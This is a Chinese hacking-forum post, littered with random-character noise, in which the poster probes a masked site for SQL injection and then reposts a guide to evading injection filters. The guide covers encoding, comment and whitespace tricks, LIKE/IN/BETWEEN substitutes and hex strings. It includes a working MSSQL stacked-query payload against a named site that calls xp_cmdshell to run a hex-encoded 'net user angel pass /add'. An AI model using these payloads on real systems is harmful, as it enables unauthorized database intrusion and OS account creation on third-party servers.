路过这个网站,检测了一下.
7 ^; g; A& y% Z9 j' r1 s: \http://www.xxx.cn/Article.asp?ID=117 and 1=1
& D4 j* P; p8 g6 W) g6 @7 n直接返回主页
: @2 j% j- {( O# [) I1 G1 S9 _http://www.xxx.cn/Article.asp?ID=117 or 1=1
& n9 r" f4 |0 z* i直接返回主页+ d* N- V ^' B% A+ v L7 s( e
http://www.xxx.cn/Article.asp?ID=117 or/ n2 D1 f, _' G1 g F
没有返回主页 没有过滤or8 @, R+ S8 ^; [: k3 ?" f# N: _
http://www.xxx.cn/Article.asp?ID=117 and8 g# O4 M& c! |
直接返回主页 看来过滤了and
: ]1 B! L# H5 _# p" O; t0 u- k" G: Vhttp://www.xxx.cn/Article.asp?ID=117 or 1
9 c5 d; ~0 b' k" L6 P没有返回主页 即没有过滤or 也没有过滤1! P1 k5 o* V5 D, X! S
http://www.xxx.cn/Article.asp?ID=117 or 1=1
9 [# I/ P; o$ E) P直接返回主页 很明显过滤了等号 " Q `( E- q6 x
or的特性是与and相反的.
5 m1 F; q V$ B, X( E% v' nor 1=1 爆错 或与原页面不同" I; @7 y \9 S, r
or 1=2 原页面相同
l$ ]4 ]: D0 A; p这样就是一个注入点
4 H, l. t5 p4 t/ ~1 X7 f但他过滤了=号 我就用><号代替=号吧!
0 G% G9 S& G- B6 r( z N. {, Kor 1<2 很明显是正确的,所以应该与原页面不同
6 J+ m9 R$ H1 b8 lor 1>2 很明显是错误的,所以应该与原页面相同% |" M0 @$ ?5 v5 x: Z9 z x3 z
然后看看有没有过滤其他的查询语句,比如select.
' R+ T- @1 M9 ^% v8 L( ~) K/ c2 P/ Phttp://www.xxx.cn/Article.asp?ID=117 select
& W6 A( e: r/ m直接返回主页
9 G" s! E0 ~. {7 r2 S又迷茫了..8 Z8 e7 J$ Q3 M
( O4 I% v3 q5 c ~) f6 b* v+ N# j/ i* [6 a" L: t4 s8 M6 O' N1 X: F
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗1 }3 y# L/ l, U2 t* I
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)1 i. v: ]' ?( Q- [. y
================================================# g" v- _7 ~; p1 `
以下是转贴:
3 d; s1 ]- E1 _' }% ?3 j; x
1 F0 B' j, ~, X! t! _5 Y$ Y突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… $ y5 \. c6 F/ ^! X2 f
经过我的收集,大部分的防注入程序都过滤了以下关键字:
7 C& _5 y, ?5 mand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
8 H2 M- G( ^7 U- p而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 # e; Y. I& J- T5 J: {
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 8 m Q! ~+ r/ w
1、运用编码技术绕过
, _3 F! D8 j3 Q* B# v如URLEncode编码,ASCII编码绕过。例如or 1=1即 , V; t Z" R" O; H
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 3 N. Z7 k7 A# l* ]+ N
4 @: I7 f7 E+ F5 M4 Q( m1 d: k
2、通过空格绕过 / U4 s, L( p" ^6 j* ?
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 # d% q1 Q w2 `1 Q: {; r
or’ swords’ =‘swords’
2 z" N c4 l- t5 j5 },由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
, q* y$ U' R% p; C5 Q3、运用字符串判断代替
; ]% n2 d2 W# D) T, A2 t7 J用经典的or 1=1判断绕过,如
/ N/ a; I% s; k; jor ’swords’ =’swords’
) S2 f& Z+ n* H3 M: ^( e$ {,这个方法就是网上在讨论的。
7 ^' n; _. u) T r4、通过类型转换修饰符N绕过 / U- K. f) E8 T
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
4 x2 k3 ~% j1 X! {& Y! J1 v5、通过+号拆解字符串绕过
! N. z& q: n* V$ W效果值得考证,但毕竟是一种方法。如 " P& b: r1 ?2 \: L
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) / Q. |4 W. y5 H% x" ?# g1 Y
4 ]+ E! C! `3 n4 d- c6、通过LIKE绕过 ; b( @) X$ H. l
以前怎么就没想到呢?如or
" X$ a% Y! h# W# q0 N- m’swords’ LIKE ’sw’
( q" n; V) x5 \!!!显然可以很轻松的绕过
5 K& D% r Z, ^“=”“>” , d- l6 B& O+ F3 u& a
的限制……
! {+ z6 N# v' p" ?! e& y. k6 o) Z7、通过IN绕过
7 u2 j! v4 z9 S8 }与上面的LIKE的思路差不多,如
$ G2 u3 I% x- m+ r% @. g' }or ’swords’ IN (’swords’) ( l1 I, l% f, U3 V; f& N
( z. U2 P# z: M" T) M
8、通过BETWEEN绕过 ' i, f$ I# @/ V% X/ L5 Z& }
如
9 ?2 B( j! K- w: Xor ’swords’ BETWEEN ’rw’ AND ’tw’
+ S2 q* X' p# w5 u; V' B; `0 h
0 u% k0 ?) M2 ?& C9 y0 [9、通过>或者<绕过
, h7 ^# S3 A/ [7 _$ E, jor ’swords’ > ’sw’ 8 [8 [% y; B( [% y$ ]3 X' |+ \. P1 O
or ’swords’ < ’tw’ $ |8 p- Y; d% l5 P( ]- O" }/ c7 z/ {
or 1<3 : w5 p# X: Q/ j9 }/ U7 ?1 r
……
1 `* C. T4 B8 G10、运用注释语句绕过 , F( u( d- Y6 e5 n- b/ H+ ?
用/**/代替空格,如: 5 [4 X; V& i2 h, g2 w+ i" R8 {. N9 T" w
UNION /**/ Select /**/user,pwd,from tbluser
0 I- h: X; X( b2 K# M/ [7 x, }. _+ P7 ]
用/**/分割敏感词,如:
" H- y2 u( W1 i5 b8 c" nU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 3 K" E- w3 I( ^' e6 q/ k6 x$ ]4 h$ a* ~/ i
( N) R5 G! M& W5 ~ @7 B8 ^
11、用HEX绕过,一般的IDS都无法检测出来 / j5 Y5 G* c& `* E. F; i k
0x730079007300610064006D0069006E00 =hex(sysadmin) - [+ h! E; {' g& k; N
0x640062005F006F0077006E0065007200 =hex(db_owner)
. z& i4 D& I1 ^# a1 a8 u( Z另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ! b9 U7 s* z8 V( s& A9 F
declare @a sysname
8 j2 Y- }! R/ A2 E2 f select @a=
& T7 L8 V. X8 W$ x9 T+ F% `, l% F exec master.dbo.xp_cmdshell @a
* g+ x3 ^0 v. a; M$ V; F7 c效果 . q w4 m' n& F3 R( f7 H
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 5 s( \* @( p9 f, T. Q! J+ V8 p
" d* x: N4 T( ^0 ]$ m- G3 n8 a
其中的
/ H( X# a2 z, T- C0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
3 m4 k+ L# | P6 \- J2 G就是 ) _; t* z) {$ R+ G T6 x
“net user angel pass /add”4 F. k; s: e. ]& C# X, t' |- g
3 ]0 P2 u- t) v5 S) q+ }
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
- h! w& ~! a$ Y7 X# P5 N4 {引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
" _4 U4 o$ |$ E# y. n0 r另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
+ r8 Q8 `" \* zCopy code
9 I* y6 W! Y" x/ L# w1 Eselect * from table exec xp_cmdshell'xxxxxxxxxx'
5 ?; g* {; P0 l0 I" P
+ f8 Y% g) p4 ~3 u" e& W7 W4 p
3 U1 U% W L7 W7 n6 Eselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
/ a+ E" B) c W- B" u$ }% r: r* ]; i- M
8 G& P, @' F( Z* Yselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'" S- `4 U2 U$ o+ _$ \
8 V& ~, h/ A7 _ g! A5 q2 }( C; H( ]4 O6 w9 \
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
' F8 W$ o, A1 s' d- q
' y5 g8 h+ ?% G, p的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?6 o. Y+ A- f" z2 h' @+ A! N2 c! ?
/ i+ [1 k2 Q0 S! j这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
$ g2 q/ j( D( H! J( W可能大家早就知道了,不管怎么说,发在这里吧!
: e/ {/ |& ~; O7 b+ q9 f+ q5 m; G% c
8 a5 }/ {0 M7 W0 [最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。9 t0 o% y# p1 Z2 P+ ?
. c% K8 M/ Z, }5 [3 `5 i6 a" {# ?
& w4 D% l" F. R7 O5 }' }. z/ V3 }7 g. Z& b. T; R
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
) c! a8 v9 d+ u8 e# `4 F' R比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
+ T' }7 M: g4 T. s; h m3 V4 [- A) F. P7 U1 T: c
|